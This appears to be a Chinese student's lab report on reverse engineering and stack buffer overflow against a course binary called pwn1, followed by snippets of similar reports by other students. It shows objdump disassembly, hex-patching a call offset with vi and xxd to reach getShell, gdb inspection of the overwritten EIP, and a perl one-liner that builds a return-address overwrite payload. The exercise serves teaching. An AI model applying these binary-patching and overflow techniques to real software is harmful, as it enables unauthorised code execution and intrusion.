20155210 实验一 逆向与Bof基础

20155210 实验一 逆向与Bof基础

实验内容

1.直接修改程序机器指令,改变程序执行流程

  • 下载目标文件pwn1,反汇编

利用objdump -d pwn1对pwn1进行反汇编

得到:

  • 80484b5: e8 d7 ff ff ff call 8048491 <foo>
  • 是说这条指令将调用位于地址8048491处的foo函数;

    其对应机器指令为“e8 d7ffffff”,e8即跳转之意。

    本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值。

  • main函数调用foo,对应机器指令为“e8 d7ffffff”,那我们想让它调用getShell,只要修改“d7ffffff”为"getShell-80484ba"对应的补码就行。
  • 直接 47d-4ba就能得到补码。
  • 也可通过对比两个函数所存储的地址,计算“0804847d(getshell)-08048491(foo)+d7”得c3ffffff。

    下面我们就修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。

  • 接下来我们用vi pwn1打开pwn1

得到:

  • 然后利用%!xxd将文件转换成16进制显示,利用/e8 d7ff ffff进行搜索将d7改为c3,利用%!xxd -r转回之前,再次进行反汇编

得到:

2.通过构造输入参数,造成BOF攻击,改变程序执行流

  • 首先我们先要了解函数的作用
== 注意这个函数getShell,我们的目标是触发这个函数  ==

0804847d <getShell>:
 804847d:   55                      push   %ebp
 804847e:   89 e5                   mov    %esp,%ebp
 8048480:   83 ec 18                sub    $0x18,%esp
 8048483:   c7 04 24 60 85 04 08    movl   $0x8048560,(%esp)
 804848a:   e8 c1 fe ff ff          call   8048350 <[email protected]>
 804848f:   c9                      leave
 8048490:   c3                      ret    

== 该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞  ==

08048491 <foo>:
 8048491:   55                      push   %ebp
 8048492:   89 e5                   mov    %esp,%ebp
 8048494:   83 ec 38                sub    $0x38,%esp
 8048497:   8d 45 e4                lea    -0x1c(%ebp),%eax
 804849a:   89 04 24                mov    %eax,(%esp)

 == 这里读入字符串,但系统只预留了__字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址 ==

 804849d:   e8 8e fe ff ff          call   8048330 <[email protected]>
 80484a2:   8d 45 e4                lea    -0x1c(%ebp),%eax
 80484a5:   89 04 24                mov    %eax,(%esp)
 80484a8:   e8 93 fe ff ff          call   8048340 <[email protected]>
 80484ad:   c9                      leave
 80484ae:   c3                      ret    080484af <main>:
 80484af:   55                      push   %ebp
 80484b0:   89 e5                   mov    %esp,%ebp
 80484b2:   83 e4 f0                and    $0xfffffff0,%esp
 80484b5:   e8 d7 ff ff ff          call   8048491 <foo>

 ==上面的call调用foo,同时在堆栈上压上返回地址值:__________== 

 80484ba:   b8 00 00 00 00          mov    $0x0,%eax
 80484bf:   c9                      leave
 80484c0:   c3                      ret
 80484c1:   66 90                   xchg   %ax,%ax
 80484c3:   66 90                   xchg   %ax,%ax
 80484c5:   66 90                   xchg   %ax,%ax
 80484c7:   66 90                   xchg   %ax,%ax
 80484c9:   66 90                   xchg   %ax,%ax
 80484cb:   66 90                   xchg   %ax,%ax
 80484cd:   66 90                   xchg   %ax,%ax
 80484cf:   90                      nop
  • 接下来我们要进行尝试如果溢出,eip储存的是哪4位数
  • 首先gdb pwn1,让后r,输入1111111122222222333333334444444455555555,然后输入info r

得到:

  • 发现eip为35353535,5的ascii为35,所以再重新运行,输入11111111222222223333333344444444++12345678++(下划线处可换为学号)

得到:

  • eip为34333231,所以即可编辑输入为perl -e ‘print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"‘ > input,可用xxd input查看input,随后运行pwn1

得到:

3.注入Shellcode并执行

原文地址:https://www.cnblogs.com/panyinghao/p/8552280.html

时间: 2024-10-09 10:45:33

20155210 实验一 逆向与Bof基础的相关文章

20155201 李卓雯 《网络对抗技术》实验一 逆向及Bof基础

20155201 李卓雯 <网络对抗技术>实验一 逆向及Bof基础 一.实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell.正常情况下这个代码是不会被运行的.我们实践的目标就是想办法运行这个代码片段.我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode. 三个实践内容如下: 手工修改可执行文

20171113曾英特《逆向及Bof基础实践》实验报告

一.实验名称 逆向及Bof基础实践 二.实验目的 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 2.掌握反汇编与十六进制编程器 3.能正确修改机器指令改变程序执行流程 4.能正确构造payload进行bof攻击 三.实验内容 本次实验的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串.该程序同时包含另一个代码片段getShell,会返回一个可用Shell.正常情况下这个代码是不会被运行的

20145336张子扬 《网络对抗》逆向及bof基础

20145336张子扬 <网络对抗>逆向及bof基础 学习知识点 缓冲区溢出 缓冲区溢出 一种非常普遍.非常危险的漏洞,在各种操作系统.应用软件中广泛存在.利用缓冲区溢出攻击,可以导致程序运行失败.系统宕机.重新启动等后果.更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作. 缓冲区溢出原理 通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的.造成缓冲区溢出的原因是程序中没有仔细检查

逆向及Bof基础实践

逆向及Bof基础实践 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell.正常情况下这个代码是不会被运行的.我们实践的目标就是想办法运行这个代码片段. 我们将学习两种方法: 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数. 手工修改可执行文件,改变程序执行流程,直接跳转到ge

20145339顿珠达杰 《网络对抗技术》 逆向与Bof基础

目的 通过一些方法,使能够运行本不该被运行的代码部分,或得到shell的使用: 将正常运行代码部分某处call后的目标地址,修改为另一部分我们希望执行.却本不应该执行的代码部分首地址(这需要我们有一定的权限修改可执行文件) 通过缓冲区溢出:输入数据,使其超出缓冲区大小,并覆盖住返回地址(新的返回地址为另一部分我们希望执行.却本不应该执行的代码部分首地址) ...... 基础知识 objdump -d test :反汇编test more : more命令和cat的功能一样都是查看文件里的内容,但

20145301赵嘉鑫《网络对抗》逆向及Bof基础

20145301赵嘉鑫<网络对抗>逆向及Bof基础 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell.正常情况下这个代码是不会被运行的.我们实践的目标就是想办法运行这个代码片段. 本次实践主要是学习两种方法: 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数. 手工修改可执

20145311王亦徐《网络对抗技术》MAL_逆向与Bof基础

20145311王亦徐<网络对抗技术>MAL_逆向与Bof基础 实践目标 运行一个可执行文件,通过逆向或者Bof技术执行原本不应该执行的代码片段采用的两种方法: 1.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数. 2.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数. 3.注入一个自己制作的shellcode并运行这段shellcode等等 这几种思路,基本代表现实情况中的攻击目标(1)运行原本不可访问的代码片段(2)强行修改程

20155311高梓云《网络对抗》逆向及Bof基础

20155311高梓云<网络对抗>逆向及Bof基础 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell.正常情况下这个代码是不会被运行的.我们实践的目标就是想办法运行这个代码片段. 本次实践主要是学习两种方法: 1.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数. 2.手工

20165101刘天野 2018-2019-2《网络对抗技术》Exp1 逆向与Bof基础

20165101刘天野 2018-2019-2<网络对抗技术>Exp1 逆向与Bof基础 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell.正常情况下这个代码是不会被运行的.我们实践的目标就是想办法运行这个代码片段.我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何